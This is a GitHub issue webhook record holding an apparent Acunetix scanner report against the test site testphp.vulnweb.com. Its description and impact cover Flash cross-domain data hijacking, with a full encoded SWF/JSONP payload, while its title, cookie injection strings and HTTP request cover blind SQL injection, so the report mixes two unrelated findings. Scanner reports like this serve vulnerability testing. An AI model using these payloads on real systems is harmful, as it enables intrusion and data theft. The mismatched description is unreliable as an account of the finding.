{"action":"opened","issue":{"url":"https://api.github.com/repos/jdbacx/test/issues/69","repository_url":"https://api.github.com/repos/jdbacx/test","labels_url":"https://api.github.com/repos/jdbacx/test/issues/69/labels{/name}","comments_url":"https://api.github.com/repos/jdbacx/test/issues/69/comments","events_url":"https://api.github.com/repos/jdbacx/test/issues/69/events","html_url":"https://github.com/jdbacx/test/issues/69","id":185071055,"number":69,"title":"Acunetix - Blind SQL Injection","user":{"login":"jdbacx","id":19711062,"avatar_url":"https://avatars.githubusercontent.com/u/19711062?v=3","gravatar_id":"","url":"https://api.github.com/users/jdbacx","html_url":"https://github.com/jdbacx","followers_url":"https://api.github.com/users/jdbacx/followers","following_url":"https://api.github.com/users/jdbacx/following{/other_user}","gists_url":"https://api.github.com/users/jdbacx/gists{/gist_id}","starred_url":"https://api.github.com/users/jdbacx/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jdbacx/subscriptions","organizations_url":"https://api.github.com/users/jdbacx/orgs","repos_url":"https://api.github.com/users/jdbacx/repos","events_url":"https://api.github.com/users/jdbacx/events{/privacy}","received_events_url":"https://api.github.com/users/jdbacx/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2016-10-25T09:57:40Z","updated_at":"2016-10-25T09:57:40Z","closed_at":null,"body":"| **Target URL** | http://testphp.vulnweb.com|\n------------ | -------------\n| **Severity**   | High|\n\n##### Vulnerability Description\nThis page is possibly vulnerable to Cross domain data hijacking. If an attacker can create/upload a malicious Flash (SWF) file or control the top part of any page he can perform an attack known as **Cross domain data hijacking**. The Content-Type of the response doesn't matter. If the file is embedded using an <object> tag, it will be executed as a Flash file as long as the content of the file looks like a valid Flash file. \n\n Here is the attack scenario:\n\n\n + An attacker creates a malicious Flash (SWF) file\n + The attacker changes the file extension to JPG\n + The attacker uploads the file to victim.com\n + The attacker embeds the file on attacker.com using an tag with type \"application/x-shockwave-flash\"\n + The victim visits attacker.com, loads the file as embedded with the tag\n + The attacker can now send and receive arbitrary requests to victim.com using the victims session\n + The attacker sends a request to victim.com and extracts the CSRF token from the response\n\n\n\n\n\n\nThere are many ways to perform this attack. The attacker doesn't need to upload a file. The only requirement is that an attacker can control the data on a location of the target domain. One way is to abuse a JSONP API. Usually, the attacker can control the output of a JSONP API endpoint by changing the callback parameter. However, if an attacker uses an entire Flash file as callback, we can use it just like we would use an uploaded file in this attack. \n\nA payload could look like this:\n\t\n<object style=\"height:1px;width:1px;\" data=\"http://victim.com/user/jsonp?callback=CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q%A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6%CD0%09\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" flashvars=\"c=alert&u=http://victim.com/secret_file.txt\"></object>\n\t\n\n##### Attack Details\nCookie input **login** was set to **-1' OR 3*2*1=6 AND 000866=000866 -- **\n\n Tests performed:  \n     + -1' OR 2+866-866-1=0+0+0+1 --  => **TRUE**     + -1' OR 3+866-866-1=0+0+0+1 --  => **FALSE**     + -1' OR 3*2<(0+5+866-866) --  => **FALSE**     + -1' OR 3*2>(0+5+866-866) --  => **FALSE**     + -1' OR 2+1-1-1=1 AND 000866=000866 --  => **TRUE**     + -1' OR 000866=000866 AND 3+1-1-1=1 --  => **FALSE**     + -1' OR 3*2=5 AND 000866=000866 --  => **FALSE**     + -1' OR 3*2=6 AND 000866=000866 --  => **TRUE**     + -1' OR 3*2*0=6 AND 000866=000866 --  => **FALSE**     + -1' OR 3*2*1=6 AND 000866=000866 --  => **TRUE**  \n \n\nOriginal value: **1**\n\n##### HTTP Request\n<details>\n<summary>HTTP Request</summary>\n\tGET /listproducts.php HTTP/1.1\r\n\tCookie: login=-1'%20OR%203*2*1=6%20AND%20000997=000997%20--%20; mycookie=3\r\n\tX-Requested-With: XMLHttpRequest\r\n\tReferer: http://testphp.vulnweb.com\r\n\tHost: testphp.vulnweb.com\r\n\tConnection: Keep-alive\r\n\tAccept-Encoding: gzip,deflate\r\n\tUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21\r\n\tAccept: */*\r\n\t\r\n\t</details>\n\n##### Impact\nAn attacker can read any secrets (such as CSRF tokens) from the affected domain.\n\n##### Remediation\nYour script should filter metacharacters from user input. \nCheck detailed information for more information about fixing this vulnerability.\n\n----\n\n##### References:\n[Acunetix SQL Injection Attack](http://www.acunetix.com/websitesecurity/sql-injection.htm)\n[VIDEO: SQL Injection tutorial](http://www.acunetix.com/blog/web-security-zone/video-sql-injection-tutorial/)\n[OWASP Injection Flaws](http://www.owasp.org/index.php/Injection_Flaws)\n[How to check for SQL injection vulnerabilities](http://www.acunetix.com/websitesecurity/sql-injection2/)\n[SQL Injection Walkthrough](http://www.securiteam.com/securityreviews/5DP0N1P76E.html)\n[OWASP PHP Top 5](http://www.owasp.org/index.php/PHP_Top_5)\n\n"}}
{"actor":{"display_login":"jdbacx"}}